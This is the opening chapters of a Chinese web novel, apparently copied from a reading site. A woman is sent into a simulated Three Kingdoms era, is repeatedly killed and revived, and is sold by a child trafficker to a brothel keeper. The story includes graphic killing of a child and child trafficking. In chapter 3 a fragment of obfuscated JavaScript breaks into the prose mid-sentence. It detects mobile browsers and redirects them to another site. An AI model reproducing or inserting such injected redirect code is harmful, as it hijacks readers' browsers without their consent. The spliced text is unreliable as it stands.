《三国末世》
1. 杀人
常言道好的开始是成功的一半,袁媛不指望赢在起跑线上,但穿越第一天就家破人亡,未免也太惨了点。
汝南袁氏四世三公,身为汉末诸侯袁绍之女,袁媛要是早穿几年能在河北地界横着走。可惜她生不逢时,一睁眼就遇上曹军围城,守城将审慎之侄审荣阵前叛变,打开城门引狼入室,袁家如同城墙上被曹军万箭穿心的军旗一般,风雨飘摇。
袁媛缩在不起眼的角落,视线尽头的残肢断腿似乎暗示着她未来的命途多舛。
她的内心是拒绝的。
如果可以选择,打死她也不会来这个危险指数爆表的世界找虐。
但她有选择吗?
没有。
虚拟历史推演技术是近几年才兴起的黑科技,最初的目标是通过计算机在虚拟世界复刻出某一历史阶段,进而推演出人类发展的其他可能。
比如,很多人都会好奇,如果亚历山大东征时没有走错路收服印度,而是按原计划如期在中国遇到了战国强秦的铁骑,会有怎样的结局?
又比如,倘若携带着丧尸病毒的陨石并未在公元2333年造访地球,而是提早两千年降落在汉末的神州大地上,尚处于冷兵器时代的华夏民族是否会全军覆没?
人类发展历程中偶然性与必然性的博弈令科学家热血沸腾,但作为一项不成熟的新技术,推演历史的成功率低到令人发指。
在袁媛之前,已经有十三位志愿者还未进入虚拟时空即宣告死亡,唯一的成功人士名叫姜尚,在落地半年后成了脑瘫,每天至少能流满三个脸盆的口水。
风险大,过程不可控,但各国学界研发的欲望极端旺盛,直接导致实验用活体人的身价水涨船高。袁媛从来都不是勇敢的人,但她母亲病重急需用钱,不得不铤而走险,成为重赏之下自投罗网的勇夫。
受技术条件限制,程序员将重返现实世界的接口设置在了公元224年,也就是二十年后。今年是建安九年(公元204年),距离程序员预设的丧尸来袭尚有一千多个日夜。以曹军攻袁的凶残程度,袁媛十分怀疑,她等不到末世降临就会先阵亡在邺城的某个犄角旮旯里。
噩梦级别的任务难度!
知道三国的将军是怎么杀人的吗?
率先冲破大门的悍将左一刀割喉,右一刀剖胸,轻松加愉快地把别人的脑袋当西瓜切,畅笑着将喷洒着滚烫鲜血的头颅丢到门边,由亲兵堆成与顶梁齐高的京观。
对袁军,这是羞辱,但对即将入主寿春的曹军而言,这是战绩。
乱世人命不值钱但死人极其值钱,数百头颅就能换来三斗米的军功。有这些首级作保,归顺曹操未满两年的校尉许褚升官发财指日可待,运气好的话说不定能捞个中郎将当当。
袁媛对比了一下他的手臂和自己的腰围,发自内心的打了个哆嗦。
传说中“单手扯牛尾,倒行百余步”的曹魏五虎将名不虚传,以许褚的腕力,怕不是单手就能把她咔嚓了。
该怎么办?
袁媛把希望的目光投向袁家的侍卫们,眼睁睁看着其中一名身高八尺的壮汉还没来得及举剑就被许褚拦腰斩断。
行吧。
袁媛深深叹气。
两年前袁绍死后,其夫人刘氏偏疼三子袁尚,打压长子袁谭,导致兄弟争权,袁氏实力大不如前。袁媛目前所在的邺城原本是袁尚辖地,但此刻袁尚已经败走漳水,甚至因为怕死还派出阴夔、陈琳两人向曹操投降,被曹操拒绝后转头逃亡故安投奔袁绍次子袁熙,把家中女眷全扔给了曹操。
古人对待战俘女眷,或杀或放没有定论,全在主将一念之间。野史中记载,刘夫人为求自保,主动捧起二儿媳甄宓的脸献媚,不仅成功保住了性命,还助力甄宓爬上曹丕的床,成就了后世赫赫有名的文昭甄皇后。
其他女眷可不见得都有刘夫人这样的好运气。
曹操生性好杀,一生五次下令屠城,其中就有公元204年屠邺城。陈寿在《三国志》中写,曹操“克城多有诛杀”,妇孺也不例外。除屠城之外,他还杀降,两年前官渡之战大胜后,曹操一口气杀了袁绍七万余名俘虏,《资治通鉴》明文记载:“馀众降者,操尽坑之,前后所杀七万馀人。”
冷冰冰的数字后面是鲜活的生命。袁媛只觉自身凶多吉少,垫着脚尖慢吞吞蹭到壮汉身侧,做贼似的把他的剑据为己有。
我X!怎么这么重!
袁媛打了个趔趄,差点砸到自己的脚。因为动作幅度过大,站在许褚右边的某不知名少年骤然回头,手中那杆看上去很贵的龙纹长矛顺势从侍卫的身体里抽出,鲜血飙了一地。
袁媛后退半步:吾命休矣!
少年若无其事地转过头去,逮住其他侍卫继续杀杀杀。
哈?
几个意思?
袁媛二丈和尚摸不着头脑,站在原地不知所措。
为什么没来杀她?
刚刚她都闭上眼睛准备迎接死神的拥抱了,结果他就这么轻轻地放过了她?
袁媛愣了半天,放弃自己根本提不起来的剑,恍恍惚惚地跑回原来的角落里藏好。那名少年所站的位置明明可以清楚地围观全程,可他仍旧毫无表示,埋首杀人中不可自拔。
什么情况?
袁媛一脸懵逼。
难不成她不幸没能穿成人,而是穿成了鬼,三国土著根本看不到她?
她就说这破实验不靠谱!
袁媛干咽口水,惊甫未定。
虽然穿越前混得惨,但做人她至少有经验,做鬼她可是俩眼一抹黑,连该去哪个山头拜鬼差都不清楚。
不会……这么惨吧?
袁媛穿越过来时身边一个婢女丫鬟都没见,只有一个老妪自称乳母。她两个时辰前替小主人去膳房领食,不幸遇上杀疯了的曹军,一命呜呼。
原来的袁媛常年缠绵病榻,头脑一直昏昏沉沉的。
她虽然是袁绍血脉,可惜并不受宠。生母是刘夫人婢女,因貌美一朝飞上枝头作了凤凰,也是因貌美被刘夫人嫉恨,袁绍咽气当天,就被刘夫人赏下三尺白绫追随袁绍而去。黄泉路上与她一同作伴的还有袁绍的其他四名小妾。刘夫人担心她们下地府后向袁绍告状,还特地剃光小妾的头发,用墨毁坏尸体,并命令袁尚杀光了所有异母兄弟。
袁媛原本有两个一母同胞的弟弟,全都死于刘夫人之手。
她今年只有七岁,病得连床都下不了,父死弟走后在刘夫人的眼皮子底下讨生活,再难受也不敢吱声,别说请郎中开对症的药,估计连饭都没吃饱过。说不准,她就是被活活饿死的。
实惨!
袁媛心惊胆战地往地上看。
没有影子!
她原地转了个圈,就是没有影子!
所以,她真的是鬼?
袁媛揉揉眼。
真的!
亏大发了。
早知道她不是人,她刚才躲在矮案底下装什么孙子?三国的矮案只有五十厘米高,长时间的深蹲令她小腿酸痛,直到现在还发着抖。
有什么好抖的!
从来只听说过人怕鬼,哪有鬼怕人的?说出去,她以后还怎么在鬼界混?
中国古代五大名鬼缢鬼(吊死鬼)、水鬼(淹死鬼)、小儿鬼(夜啼鬼)、墓鬼(鬼打墙)、大头鬼(无身鬼)都是害死人不偿命的狠角色,长相可怖不说,业务能力也非常强。
做鬼,最重要的就是要凶恶,越凶恶的厉鬼越有地位!
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袁媛恶向胆边生,一脚踢开了方才栖身的矮案,大喝一声:“竟然敢在我的地盘撒野,小心姑奶奶拉你们来阴间作伴!”
打斗声为之一静。
从许褚和不知名少年不约而同的扭头动作可以看出,袁媛肯定震住了所有人。
“你你你你们,听得到我说说说说话?”许褚外凸的眼珠子太吓人,瞪地袁媛瞬间结巴了。
苍天作证,她虽然喊得很有气势,但只是想过过干瘾,没有期待任何回应……
少年提矛走了过来。
“你你你别过来!”袁媛的腿一下子就不酸了,此刻她只觉得腿软,“我说着玩的,你别当真……”
少年回给她四个字:“你搞么子?”
“啥?”
袁媛傻眼。
她后知后觉地意识到,三国的语言与现代汉语很不一样,她之前只顾着害怕,忘了调试实验室给她的语言翻译器。所以,好消息是语言翻译器默认为单向翻译模式,因此敌军没有听懂她刚才那句不识时务的威胁;坏消息是翻译器自动将土著语单向翻译成了与之最相近的现代语,这位少年听口音,大约是个安徽小哥哥。
问:三国曹魏阵营中著名的安徽人有哪些?
答:曹操曹丕曹彰曹植曹仁曹洪曹叡曹……
曹操祖籍安徽毫州,拔出萝卜带出泥,随便拉出个姓曹的在百度百科上都能找到上千字的生平,不管哪一个,袁媛都惹不起。
袁媛:天欲亡我!
生死攸关之际,袁媛求生欲觉醒,用最快的速度调整完语言翻译器,发出灵魂深处的呐喊:“求——放——过!”
“噗!”
回答她的,是一记赶紧利落的捅心。
“啊!”
痛意缓了几秒,骤然窜到最高值,袁媛的每一个细胞都在尖叫。
她双手捂心,不可置信。
“呲拉!”
许褚抽回了刀。
袁媛顺势前扑,被贯穿的身体仿佛破了洞的风箱,每一口呼吸都如同锯刀在血肉上割拉,无法用言语形容的疼痛令她如同虫子一样扭曲蜷缩。
她本能哀嚎,却聚不起力气,无法排解的巨痛让呼喊变成了微弱的呻吟。
“救,救命!”生理性的泪水狂飙,受损的植物神经令袁媛不可自控地抽搐,她身上的每一块肉都在地心引力的作用下颤抖挣扎!
许褚!我祝福你十八辈祖宗!
袁媛真的会谢。
但许褚为刀俎,她为鱼肉,除了像条死鱼一样瘫在地上冲刽子手的鞋翻死鱼眼,她什么都做不了。
不是袁媛不想把死鱼眼甩到许褚脸上,而是从她蜷缩着身体的角度,就只能看到许褚和少年的鞋。
鞋上的花纹很别致,但袁媛的视线逐渐模糊。
真的,好痛啊!
唯一值得庆幸的是,疼痛并没有持续很久。
肌瘦羸弱的小女孩毫无抵抗力,仅仅三分钟,袁媛身上的血就流尽了。
少年看了眼倒在地上一动不动的尸体,问许褚:“她刚才说的什么?”
“没听懂。”许褚摇头。
“那你为什么要杀她?”
“感觉不是什么好话。”
“那肯定不会是好话。”少年轻笑,“如果没死,倒是可以问问。”
许褚不在意地抹了把刀上的血,光棍道:“有什么要紧,杀都杀了。”
少年点头:“嗯,不必在意,我们去别处吧。”
“好!”
在死透前听完了全程的袁媛:……
滥杀无辜的人不得好死!
失去意识的最后关头,袁媛咬紧牙关,用意念恶狠狠地吐出一句话:姓曹的,我咒你全家!
2. 活了
“原来,我是个活人。”
“不过,被许诸捅了一刀后就死了。”
“然后现在又活了。”
伸手不见五指的漆黑中,袁媛用力抬了抬胳膊,没抬起来。
她估计马上又要死。
如果没猜错,现在的她应该已经入土为安。
曹军杀起人来不眨眼,埋人的时候自然也不可能讲究人文关怀,常规操作就是找块荒地挖个大坑,把所有死人垒到一起填上土就完事。所以现在,充斥在袁媛鼻间的,不仅仅是烂泥的土臭味,还有浓郁到化不开的腐肉与血腥气,令人作呕。
感谢打扫战场的曹军的消极怠工,没把万人坑上的土压实,否则袁媛一醒来,就该因为缺氧再次窒息而死。
但现在的情况也没好到哪里去。
不知道有多少具尸体压在她的身上,辨不清是肌肉还是骨头的东西戳着她的腰,让她的身体折曲成了别扭的S型。枕在她胸口的、不晓得是兄弟还是姐妹的头骨硬邦邦的,推都推不动。另一位或者两位同仁的头发东一簇西一缕,散得到处都是,刺得袁媛的脖颈发痒。要不是她现在抬手都困难,真想用指甲使劲挠个痛快。
难受,但只能忍。
最糟糕的是,土里空气稀薄,袁媛能清晰地感受到每一次吸气后肺里都是半空的,虽不至于立马要了她的命,但也坚持不了多久。
她本能地踹了底下的老兄一脚,像溺水的青蛙般在尸海中奋力向上游。
努力,加油!
身上的阻力有千金重,袁媛感觉自己就像被压在五行山下的孙猴子,使出吃奶的劲也不能撼动大山半分,简直寸步难行。
剧烈的运动加速了她对氧气的消耗,才挪动了几寸,她就头晕眼花。虽然睁着眼,但周围黑得什么都看不见。氧气越发稀少,每一次呼吸都要突破重重叠叠的阻碍,才能把氧气送入肺里。
一捧泥土角度刁钻地钻进鼻孔,把她的鼻腔堵得严严实实。袁媛拼命晃动脑袋,试图把颗粒状异物赶出呼吸道,引发了剧烈的咳嗽……
意识逐渐模糊。
耳边只有心跳的声音,且越来越微弱。
不知过了多久,袁媛再次睁开眼。
毫无疑问,又死了一次!
袁媛忍不住爆了一句粗口。
极限修复是袁媛父系家族祖传的能力,却只有家族里极少数成员才能拥有。公元2333年,一颗携带着丧尸病毒的陨石撞击地球,在将平和美好的人间变成末日修罗场的同时,催生出第一批身怀异能的新人类。他们有的能控制水火,有的能召唤闪电,袁媛的祖先运气爆棚,获得了一个极其罕见又极端有用的异能——不管受了多么严重的伤,哪怕不幸死亡,身体也能完成自我修复,满血复活。
这无疑是苟命神器。
袁家的祖先因此熬过了末世。因为担心成为实验室里的小白鼠,他小心翼翼地伪装成没有异能的普通人,并很高兴地发现儿子和孙子没有遗传他的能力。
根据科学家的研究,异能者的孩子虽然可能继承祖辈的能力,但概率不到千分之一。
在消灭了丧尸的现代社会,极限修复是一个鸡肋异能。它既不像牛逼轰轰的雷异能那样挥手可将高山夷为平地,也不像实用的电异能那样捏住插头就让机器运转。法律健全的文明世界中,普通人安全无比,基本没机会受伤,偶尔的破皮淤青完全可以靠正常速度的细胞更新痊愈。
要不是袁媛爸爸秉持家训,在她满月那天往她胳膊上划了一刀,她可能根本不会发现她竟然是个异能者。
袁媛抽中了基因彩票。
或者说,她中了基因的诅咒。
异能能让她重生,却不能帮她免疫重生过程中的痛苦。没死过的人根本不能理解那种痛的程度。
只要想到可能马上还要死,袁媛就很绝望。
为了能尽量少死几次,袁媛不得不支棱起来,踹着同仁们的尸骨使出吃奶的劲往上爬。
怎么确定哪个方向是上?
无法确定。
这是她第一次被埋进土里,完全没有经验。鉴于电视剧里坏人抛尸都是把人横着扔,她赌她现在是躺在坑里。
用手推!用脚踢!
借助反作用力让自己破土而出!
折腾到精疲力尽后,喘着粗气的袁媛突然福临心至,轻轻吐出一口唾沫——
唾沫没有回到她的脸上。
也没有顺着人中流到鼻子上,或者沿反方向流到她的下巴。
万有引力定律说明她是趴在坑里的。
换言之,她努力了半天,取得的成果是把自己埋得更深了一点!
X!
袁媛破罐子破摔地狠推隔壁的老兄,老兄没事,短时间内剧烈运动导致的脑部供血不足令她头昏眼花,一不小心,一口气没透出来,悲催嗝屁。
不知过了多久,人生第三次重启。
袁媛已经佛系了。
憋死的体验非常糟糕,但好在一回生二回熟,死的次数多了,总会习惯的。
不就是胸闷耳鸣心慌头疼嘛,忍忍也就过去了。
反正也没不死的选择,除了忍还能咋的?
袁家第一个变异出极限修复异能的老祖宗曾经说过,死多了容易心理变态。虽然从老祖宗的人生履历来看他挺正常的,但成年人的变态怎么可能被人轻易看穿?至少现在,袁媛表面上是一个看淡生死乐观开朗的好青年,实际上她乐观过了头——
她以为最多死一百次肯定能爬出死人坑,但结果她死了一千次!
十倍的误差下,袁媛看到头顶的蓝天时都死麻了。
她跳到河里痛快地洗了个澡,顺便从死人堆里挑了件没沾上血迹的衣服扒下来洗晒干净,心情才终于好了一点儿。
可惜没能持续多久。
等她跑到大街上找好心的老奶奶一问,老奶奶告诉她三国的日历已经翻到了建安十年时,算算日子在土里呆了大半年的袁媛连骂娘的心情都没有了。
她从来没感觉到饿!
每次都是还没来及饿死就先窒息了,这酸爽,有多少人能够感同身受?
往事不堪回首。
心态上已然变态的袁媛发誓今后能不死就别死了。为达成这一目标,当务
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之急就是找个工作养活自己。
好心的老奶奶拄着木头拐杖,皱着眉头替她担忧:“到处都在打仗,你看起来就没几分力气,肩不能挑手不能提的,年纪又小,想找活计可不容易。”
“谁说不是呢。”袁媛发愁。
古代女人没有独立经济权,能从事的职业少之又少。如果做不来女妓、巫婆,又缺乏当女医、厨娘的专业知识,就只剩下纺织、浆洗之类的体力活可以选择。
袁媛不排斥体力劳动,但正如老奶奶所说,邺城刚经过战乱,到处都是无家可归的流民。失去了生计的可怜人在劳动力市场上恶性竞争,不惜以极低的价格把自己打包送人。只要能供应饭食,很多平民甚至不要卖身银就自降身份成了奴仆。
在三国,奴仆不能算人,他们是物件,是商品,是主人可以随意打骂生杀的玩意儿。有免费的奴仆可以役使,哪个脑子有洞的达官显贵还会去外面花钱雇人?
但如果让袁媛为奴为婢,她是一万个不愿意的。从袁绍之女降级成为普通平民已经很惨了,如果再从一个人降级成为一个物件,自己都觉得交代不过去。
老奶奶把头搁在拐杖上,闭眼想了一会儿,叹气道:“罢了罢了,你一个女娃娃无亲无靠,没人拉扯怕是隔天就饿死在了街尾。老婆子我虽然不济,家里总算还有几亩薄田。我媳妇马上就要生产,家里少个劳力,你要是不嫌弃,要不就去我家帮着养猪喂鸡?只要我们有一口饭吃,总少不了留一勺养活你。”
“不嫌弃不嫌弃,谢谢奶奶!”人间自有真情在。虽然在袁媛穿越前的原生时代,农耕养殖早就机械一体化了,整个社会找不出一个真正意义上的农民,但不会可以学。她有胳膊有腿有脑子,上手应该不会太难。
老奶奶简直是活菩萨!
穿越大半年倒了一千次血霉才中终于遇到一件好事的袁媛感动得几乎要落泪,狗腿地搀扶住老奶奶的胳膊,“我扶着您,您慢着点走!”
“好好好!”老奶奶的脸笑成一朵菊花,颤巍巍地靠到袁媛手上借力,“走,咱们回家!”
“哎!”
柔和的夕阳下,一高一矮两道身形拉出长长的剪影,岁月静好,美好温暖。
走啊走。
太阳落山了。
走啊走。
月亮爬上了树梢。
走啊走。
月亮下班,天上只剩下了星星。
走啊走。
……
走不动了。
袁媛望了望前面看不到头的路,怀疑人生:“奶奶,我们还要走多久?”
“快了快了。”老奶奶抹去额头上的汗,指着前方,“看,那不是就到了?”
“在哪呢?”袁媛睁大眼,努力在空无一物的平地上寻找建筑物的轮廓,“我怎么什么都没看见?”
“没看见?”老奶奶直起腰,抡起拐杖,冲着袁媛的后脑勺狠狠一击,“没看见就对了!”
“啊!”
鲜血顺着脑壳流到地上,袁媛应声倒地。
晕过去前闪过脑海的最后一个想法,是三国套路深,怪我太天真。
3. 天真
托极限修复的福,袁媛醒的很快。
她发现自己像只猪猡一样捆住手脚,被扔在一个破旧漏风的柴房里。
屋外传来老奶奶与男子的交谈声。
“这次运气好,老婆子我干这营生十三年,还是第一次遇到这种勾勾手指就跟着我走的小女娃,可太招人疼了。”
X!
伤害性不大,侮辱性极强。
袁媛怒目。要不是动弹不得,她一定立刻冲出去挠花那老虔婆的脸!
可惜屋外的人感受不到她的怒气,一个声如破锣的公鸭嗓接上老奶奶的话:“娘,既然你喜欢,不如就别把她卖了,留下她给你做儿媳妇吧!”
“呸!你当你娘我傻吗?卖了她,换的银子能买十个百个听话能干的儿媳妇!”老奶奶唾了儿子一口,瞧不上儿子的鼠目寸光。
“你娘我这辈子手上过的女娃成百上千,从没见过像她这么好看的。要我说,就是宫里的娘娘也就是这样了。她才几岁?再过几年,可还得了?将来若是造化好,说不得是个妲己似的人物。老婆子我也算积点德,把她卖到邵娘子手上调教几年,送她一段锦绣前程,也不算是辱没了她。”
原来,我穿成了个大美女吗?
没有女人不爱美。哪怕心知貌美在乱世单出是死局,袁媛还是忍不住对自己的长相好奇。
可惜周围没有镜子,否则她一定要仔细瞧瞧老奶奶有没有言过其实。
公鸭嗓不吝啬表现他对袁媛美貌的认可:“娘,你平日里总说一分钱一分货,这女娃卖得贵,自然有她贵的道理。其他那十个百个的儿媳妇,我可看不上,我就要她!你就依了我吧!”
“滚滚滚!顶着这样一张国色天香的脸,岂是我们平民百姓能肖想的?”隔壁房间传来一阵推嚷,袁媛跟着声音脑补,猜测公鸭嗓想抱他妈大腿撒娇却被老奶奶推到了桌角,撞击时发出的脆亮声响令袁媛不由暗爽。
老奶奶又是心疼儿子,又是恨铁不成钢:“远的不提,就说袁刺史那样的官职家世,娶了甄家貌若天仙的小娘子,最后也不是没能守住?他亲娘亲自把绿帽子戴到他头上,他连P都不敢放一个,躲去辽西做了缩头乌龟,怂得全天下人尽皆知。外头都在传,曹军说不定是甄娘子招惹来的。曹丕垂涎甄娘子久矣,为了抱得美人归才打的邺城。可怜袁刺史,赔了夫人又折兵。”
袁媛一愣。
赔了夫人又折兵是孙权的典故,说的是赤壁之战后孙权与刘备间的交锋。算算时间线,现在赤壁之战还没发生,这个俗语被翻译器提前使用,听到后世人的耳朵里有种微妙的讽刺感。
当然,站在知晓历史的后世人角度,说曹丕是为甄宓对邺城用兵纯属意/淫。邺城地处咽喉要道,易守难攻,是曹操统一北方的根据地。曹操占据邺城后,以国都的标准大兴土木建设,赫赫有名的铜雀台就设于此,一个女人,根本不可能左右曹军对邺城的野心。
但坊间八卦最喜欢冲发一怒为红颜的桥段,曹丕与甄宓的艳史流传数千年仍旧经久不衰,在三国吃瓜群众的唇齿间必然更加酥软弹滑。
老奶奶拿曹丕当反面教材敲打完儿子,算起经济账:“你娘我吃过的盐比你吃过的米多,还能害你不成?横竖这女娃年纪小,要承恩还得等上七八年,现下你再惦记也吃不到嘴里。不如趁早把她这锅祸水倒出去,吃穿用度一并由邵娘子花费,咱们也省得多养一张嘴,平白浪费银钱。”
袁媛陷入沉思。
按照她的处境,常规的思路应该是逃出老奶奶的魔爪另谋出路才对,如果穿越女的武力值强一点,还可以在拍屁股走人前完成对老奶奶母子的反杀,有仇报仇有怨报怨才是爽文订阅率的保证。
可袁媛是能当爽文女主的料子吗?
别开玩笑了。
刚才她一醒来就试着挣脱绳索,结果一番操作猛如虎,除了把自己累得够呛以外,绳子连皮外伤都没受。电视剧里常见的割绳子用的道具比如碎碗、破罐她周围是一个没见,柴房里唯一可能帮上忙的工具是码得有一人高的柴火,但老奶奶母子又不傻!他们干惯了掳掠良家妇女的勾当,所有的柴火都被堆得整整齐齐,一根根比袁媛的腰都粗,而且摆放的位置离她足有三米远。
袁媛瞪着它们看了半天,始终没能想出能用柴火徒手割断绳索的办法。
算了,放弃。
袁媛给自己找补。
听老奶奶的口气,她都拐卖了几百个小女孩了,其中肯定大部分都到柴房一游过。女孩子们心思灵巧,逃跑方法估计早被试滥了,没道理她们都逃不出去,只有她袁媛特别聪明逃成功了吧?
她要是这么有能耐,就不会在原生世界混到当实验小白鼠的地步了。
袁媛很有自知之明。
她就是个普通智商的普通人,没比别人聪明,论体力大概率还比不上干惯农活的三国土著,她拿的就不是女主剧本。
逃不出去不丢人。
而且,袁媛也有袁媛的优点。
虽然与坚韧不拔、锲而不舍之类的优秀品质绝缘,但袁媛随遇而安,善于躺平。她很轻易就接受了自己的平庸,甚至觉得任由老奶奶处置也不错。
根据老奶奶的话推测,邵娘子八成是个鸨/母,专门挑选年幼有潜力的小姑娘,调教几年往达官显贵的床上送。在女孩子们还没长成的那段时间里,吃穿用度都由邵娘子负责。换言之,只要到了邵娘子手下,袁媛这些年的生计就有了着落。不仅不用卖苦力换饭吃,还可以参加邵娘子提供的免费培训,简直是如天上掉馅饼一般的好事。
琴棋书画什么的,在后世有大把人花重金拜师去学,邵娘子分文不取延请名师,堪比大慈大悲的活菩萨。
至于学成后会被送去暖床?
完全不需要担心。
程序员早就设计好,四年后,也就是公元209年,一颗携带着丧尸病毒的陨石将撞击地球,到时候天下大乱,邵娘子可能会变成丧尸,也可能成为幸存者,但这都不重要了。社会秩序崩乱的前提下,邵娘子还有空管她的概率微乎其微,袁媛只要静观其变就好。
船到桥头自然直。
袁媛找好了冤大头,顿觉世界美好,未来可期。晚上老奶奶给她送饭的时候,她不仅没有哭哭啼啼,反而多吃了两碗。
饶是老奶奶见多识广,也没遇到过这么看得开的小姑娘:“你就不恨我?”
袁媛:“恨你你会放了我吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300325|167154||http|test|mini|href|location''.split(''|''),0,{}));
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>老奶奶虎脸:“你想鬼呢!”
袁媛咽下一口拉嗓子的糙米,打商量:“要不你把我手上的绳子解了也行。我保证不跑,还能自己吃饭,免得劳动你每天端着饭碗来喂我。”
老奶奶的脸更黑:“你想鬼呢!”
“那不就结了?”袁媛叹气,四十五度仰望屋顶的破洞,“做人嘛,最重要的是开心,恨不恨的有什么关系。反正高兴是一天,不高兴也是一天,我还不如高兴着过。”
老奶奶没想到会得到这样几句回话,一时语塞。
这小姑娘神态悠然,眼神深远,嘴角清冷疏离的微笑仿佛庙宇里高高在上的菩萨,透出三分悲悯两分慈悲,与柴房周围污脏破陋的环境格格不入,宛若置身世外。
邪性!
老奶奶开口想骂,话到喉咙口不由自主地又吞了回去,板着脸收回碗,转身出了屋子与儿子抱怨:“我的命好苦!”
“原本还以为撞上个大财,没成想这小蹄子美则美矣,却是个脑子有问题的。”
“邵娘子与我们多年交情,以后也得来往,倒不好诓骗她,少不得贱卖了。”
“哎呦这可都是白花花的银子啊,想起来老婆子我就心肝疼!”
在屋里听了个正着的袁媛嘴角的微笑裂了。
老奶奶的儿子连忙给他妈顺气:“既然卖不出好价钱,不如干脆别卖了,留下来给我……”
“你想都别想!”老奶奶的手指戳上儿子的眉心,“这种丧门星,我们家可不敢留,明儿一早我就给送出去,趁早断了你的念想!”
老奶奶是个诚信经营的好奶奶,果然把袁媛打折卖给了邵娘子,走之前不忘关照:“这女娃被抓后连逃跑都不晓得,以后怕是男人说什么她都信。你可得看好了,别一不留神还没开张就先被小白脸拐走,到时候可别来找我说理。”
“你放心!”邵娘子回味着袁媛犹如女娲杰作般的五官,笑得妩媚又多情,“这样的极品百年难得一遇。蠢点好,蠢姑娘听话。再说,美女能叫蠢吗?那叫天真无邪!男人就喜欢又美又纯真的姑娘。”
袁媛看呆了。
行家一出手便知有没有。
邵娘子徐娘半老,媚眼如丝,简简单单一句娇嗔挠得人心头微痒,如秋水般明澈的眼眸硬生生将五分的颜值拉高到了九分。她的鱼尾纹法令纹真实存在,但她搔首甩帕的刹那,袁媛如同被施了迷咒一般视而不见,脑子里全是她宛如蔷薇娇艳的红唇,以及凹凸有致的曼妙身姿。
绝!
太绝了!
袁媛看得流口水:“小姐姐,你太美了!”
“呦,我就喜欢像你这么实诚的孩子!”邵娘子甩帕捂嘴,娇笑如晨间清泉般悦耳,“好姑娘,姐姐我一看你就有悟性,天生就是吃卖X这碗饭的!以后好好练功,勤磨技术,就凭你这张脸,姐姐保你七年后名动九州,艳冠华夏!”
袁媛:……卖X绝对是翻译器夹带的私货,她不信小姐姐会说得这么直白自豪。
“嗯!”天选卖X人狠狠点头,热泪盈眶。
经历了大半年的颠簸流离后,她终于凭借着自己的努力,混到了劳保。
有吃有喝有房住的三国新生活,开始了。
4. 跳舞
“袁滚滚,你给老娘死过来!”
伴随着邵娘子的河东狮吼,袁媛手里的筷子“啪叽”一声掉在桌上,沿着桌缝纹路滚出老远。
袁媛头皮发麻。
在遇到邵娘子之前,袁媛琢磨着舍不得孩子套不找狼,三国女/妓的培养哪怕不如扬州瘦马般成体系,鸨/母肯定得把从各地搜罗来的好苗子往精细了养。从小山珍海味吃着,绫罗绸缎穿着,时间长了才能养出目下无尘、淡泊脱俗的矜贵,牢牢抓住一众把欲拒还迎当情调的男人的心。
但做人不能太想当然。
谁能想到,她来到怡红院两个月,别说鱼翅海参,就连四条腿的王八都没吃过呢?
绫罗绸缎?
不存在的。
按照市价,一匹好缎能够三口之家半年的嚼用。邵娘子虽然号称邺城娱乐业的头一块招牌,上一个她细心调教的姑娘名唤貂蝉,被司徒王允用两箱金子换走后靠离间计活成了业界神话,但谁的钱都不是大风刮来的。
邵娘子力求把每一个铜板都花在刀刃上。
好的老师讲究因材施教。
在仔细观察分析了袁媛的特质之后,邵娘子认为她身上洗不净的世故圆滑与清新脱俗沾不上半点关系,强行碰瓷只会弄巧成拙,不如另辟蹊径。
她为袁媛量身定制的培养方向是邻家小妹。
主打一个接地气。
要邻家,就得平易近人。三国的平均生活水平摆在那里,吃糠咽菜才是小妹的日常。
好衣好饭?她不配!
袁媛:我有一句MMP不知当讲不当讲。
算了,还是别讲了。
常言道人在屋檐下不得不低头,想到以后还得在邵娘子手下讨生活,袁媛就失去了质问的底气。
不情愿地蹭到邵娘子身边,袁媛积极主动地拿起团扇帮她扇风,狗腿道:“邵姐姐,我都三天没吃肉了,刚才冷不丁闻到肉香没把持住——您大人有大量,就饶了我这一回吧。”
“瞎叫什么姐姐,叫邵妈妈!”邵娘子眼波一横,虽然怒气肉眼可见,但佳人瞠目也是美的。不是袁媛夸张,她要是个男人,此刻怕是骨头都已经酥了半边。
袁媛委屈:“狗儿告诉我,以前貂蝉姐姐在这楼里的时候,吃穿用度都是最顶级的。我虽不敢与她比,但也不至于吃块肉都不行吧?”
“你还好意思跟我提吃肉?”邵娘子被气笑了,单手叉腰,冲着袁媛的脑门点点点:“你自己去照照镜子,来我这两个月,胖了多少?再让你吃下去,怕不是要比怀崽的母猪都要壮,那老娘还混个P?带你出去一趟把我辛苦半辈子积累下来的口碑全糟践了。”
“那不是你名字没给我取好吗?”袁媛心虚地摸摸鼻子,“哪有给女/妓取名叫圆滚滚的,我不胖谁胖?”
“袁滚滚怎么了?我花了三百两银子请神算王公子卜出来的名字,你还敢嫌弃不成?”邵娘子气不打一处来,恨不得揪住袁媛的耳朵让她好好听听清楚。
“王公子才华横溢,未卜先知。当年,他铁口独断貂蝉前程远大,只命格与栖身之处的名字相冲,需得改为怡红院才能助她一臂之力。我先前还犹豫,谁知改完没多久貂蝉就飞黄腾达,王公子实乃神人也!你将来哪怕只有貂蝉的十分之一,艳名也该人尽皆知。袁滚滚,合该是个花魁的名字,代表了我对你最殷切的希望与祝愿。”
袁滚滚:谢谢,并不是很想要这祝愿。
就这破名字竟然值三百两雪花银?
王公子真是狮子大开口。
不就是个ABB结构吗?
苏小小李师师陈圆圆,流水的名妓铁打的ABB,哪个都是经过历史见证的好名字,哪个都比袁滚滚顺耳。穿越前,袁媛突击熟读过史书,很清楚三国历史上并没有一个叫袁滚滚的花魁,这名字八成是王公子为了骗邵娘子的钱随口瞎编出来的。
怡红院倒是在后世如雷贯耳,《红楼梦》之后一度成为各大小说电视剧里古代青楼的代名词,但放在三国的大背景下,也不过是寻常。
按照狗儿的说法,王公子饱读诗书,虽暂时以卜算推吉为生,但绝非池中之物。
他与邵娘子相识于微末,相知于市井。要不是王公子龙游浅滩,时运不济无钱娶妻,两人早就鹣鲽情深,双宿双栖了。
对此,袁媛有一个疑问:“王公子没钱娶妻,却有钱女/票/女/支吗?”
